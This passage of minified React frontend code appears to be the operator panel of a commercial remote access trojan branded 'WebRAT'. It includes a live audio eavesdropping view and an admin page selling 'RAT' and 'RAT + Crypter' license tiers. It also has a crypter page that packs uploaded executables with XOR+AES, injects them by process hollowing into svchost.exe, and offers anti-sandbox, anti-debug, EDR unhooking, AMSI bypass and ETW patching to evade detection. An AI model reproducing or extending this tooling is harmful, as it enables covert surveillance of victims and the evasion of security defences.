font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),a.jsx("div",{className:"flex-1"}),a.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:a.jsxs("div",{className:"flex flex-col items-center gap-8",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:a.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&a.jsx(a.Fragment,{children:a.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&a.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const EV=4294967295;function _V(e){return e>=EV-86400}function Tm(e){return _V(e)?"Never":new Date(e*1e3).toLocaleString()}function Y2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function AV({role:e}){const t=e==="admin";return a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function OV(){const[e,t]=m.useState("keys"),[n,r]=m.useState([]),[i,s]=m.useState([]),[o,l]=m.useState(!0),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState("7d"),[x,g]=m.useState("0"),[y,v]=m.useState("rat"),[b,w]=m.useState(!1),[j,N]=m.useState(""),[z,k]=m.useState(!1),[S,A]=m.useState(null),[_,O]=m.useState(null),[P,I]=m.useState("30d"),[Y,D]=m.useState(!1),[M,W]=m.useState(null),[$,H]=m.useState("rat"),[F,K]=m.useState(!1),Z=m.useCallback(async()=>{try{const C=await f_();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),oe=m.useCallback(async()=>{try{const C=await h_();s(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);m.useEffect(()=>{l(!0),Promise.all([Z(),oe()]).finally(()=>l(!1))},[Z,oe]);const de=async C=>{C.preventDefault(),w(!0),u("");try{const q=await m_({duration:p,max_agents:parseInt(x)||0,tier:y});N(q.key),k(!1),await Z()}catch(q){u(q instanceof Error?q.message:"Failed to generate key")}finally{w(!1)}},be=async C=>{u("");try{await p_(C),A(null),await Z()}catch(q){u(q instanceof Error?q.message:"Failed to revoke key")}},ye=async()=>{if(_){D(!0),u("");try{await x_(_.id,P),O(null),await oe()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{D(!1)}}},G=async()=>{if(M){K(!0),u("");try{await v_(M.id,$),W(null),await oe()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{K(!1)}}},te=()=>{navigator.clipboard.writeText(j),k(!0),setTimeout(()=>k(!1),2e3)};return a.jsxs("div",{className:"p-6 space-y-6",children:[a.jsx("div",{className:"flex items-center justify-between",children:a.jsxs("div",{children:[a.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),a.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),a.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[a.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),a.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&a.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,a.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:()=>{f(!d),N("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),a.jsx("button",{onClick:Z,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[a.jsxs("form",{onSubmit:de,className:"space-y-3",children:[a.jsxs("div",{className:"flex items-end gap-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),a.jsx("input",{type:"text",value:p,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),a.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),a.jsxs("div",{className:"flex gap-1",children:[a.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),a.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${p===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&a.jsxs("div",{className:"space-y-2",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r text-zerin-accent break-all select-all`,children:j}),a.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors shrink-0`,children:z?"Copied!":"Copy"})]}),a.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(Y2,{status:C.status})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.created_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:Tm(C.expires_at)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),a.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?S===C.key_id?a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("button",{onClick:()=>be(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r hover:bg-red-500/10 transition-colors`,children:"Confirm"}),a.jsx("button",{onClick:()=>A(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):a.jsx("button",{onClick:()=>A(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r hover:bg-red-500/10 transition-colors`,children:"Revoke"}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):a.jsxs("div",{className:"space-y-4",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsx("button",{onClick:oe,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),a.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),a.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?a.jsx("tr",{children:a.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),a.jsx("td",{className:"px-4 py-3",children:a.jsx(AV,{role:C.role})}),a.jsx("td",{className:"px-4 py-3",children:a.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),a.jsx("td",{className:"px-4 py-3",children:C.license_status?a.jsx(Y2,{status:C.license_status}):a.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?Tm(C.license_expires_at):"—"}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("button",{onClick:()=>{O(C),I("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),a.jsx("button",{onClick:()=>{W(C),H(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",a.jsx("span",{className:"text-zerin-accent",children:_.username})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),a.jsx("input",{type:"text",value:P,onChange:C=>I(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>a.jsx("button",{onClick:()=>I(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:Y,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:Y?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>W(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:M.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>H("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>H("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${$==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:G,disabled:F,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:F?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>W(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function TV(){const{isAdmin:e}=ya(),n=w5()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState(!0),[h,x]=m.useState(!0),[g,y]=m.useState(!0),[v,b]=m.useState(!0),[w,j]=m.useState(!0),[N,z]=m.useState(!1),[k,S]=m.useState(0),[A,_]=m.useState(""),[O,P]=m.useState(!1),I=m.useRef(null),Y=m.useCallback(M=>{M.preventDefault(),P(!1);const W=M.dataTransfer.files[0];W&&i(W)},[]),D=m.useCallback(async()=>{if(!(!r||N)){z(!0),_(""),S(5);try{const M=new FormData;M.append("file",r),M.append("mode",s),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),S(20);const W=setInterval(()=>{S(K=>Math.min(K+5,85))},2e3),$=await d_(M);clearInterval(W),S(100);const H=URL.createObjectURL($),F=document.createElement("a");F.href=H,F.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(F),F.click(),document.body.removeChild(F),URL.revokeObjectURL(H),setTimeout(()=>S(0),2e3)}catch(M){_(M.message||"Build failed"),S(0)}finally{z(!1)}}},[r,N,s,l,u,f,h,g,v,w]);return n?a.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),a.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),a.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer ${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:Y,onClick:()=>{var M;return(M=I.current)==null?void 0:M.click()},children:[a.jsx("input",{ref:I,type:"file",accept:".exe",className:"hidden",onChange:M=>{var $;const W=($=M.target.files)==null?void 0:$[0];W&&i(W)}}),r?a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),a.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),a.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):a.jsxs("div",{children:[a.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),a.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${s==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),s==="runpe"&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),a.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),a.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:p},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:M,label:W,desc:$,value:H,set:F})=>a.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${H?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:H,onChange:K=>F(K.target.checked),className:"mt-0.5 accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("div",{className:"text-sm font-mono text-zerin-text",children:W}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:$})]})]},M))})]}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("button",{onClick:D,disabled:!r||N,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||N?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:N?"Crypting...":"Crypt"}),(N||k>0)&&a.jsxs("div",{children:[a.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${k}%`}})}),a.jsxs("div",{className:"flex justify-between mt-1",children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:k<20?"Preparing...":k<50?"Encrypting payload...":k<85?"Compiling stub...":k<100?"Finalizing...":"Complete!"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[k,"%"]})]})]}),A&&a.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:A})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"Random keys per build — no shared signatures"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):a.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:a.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border 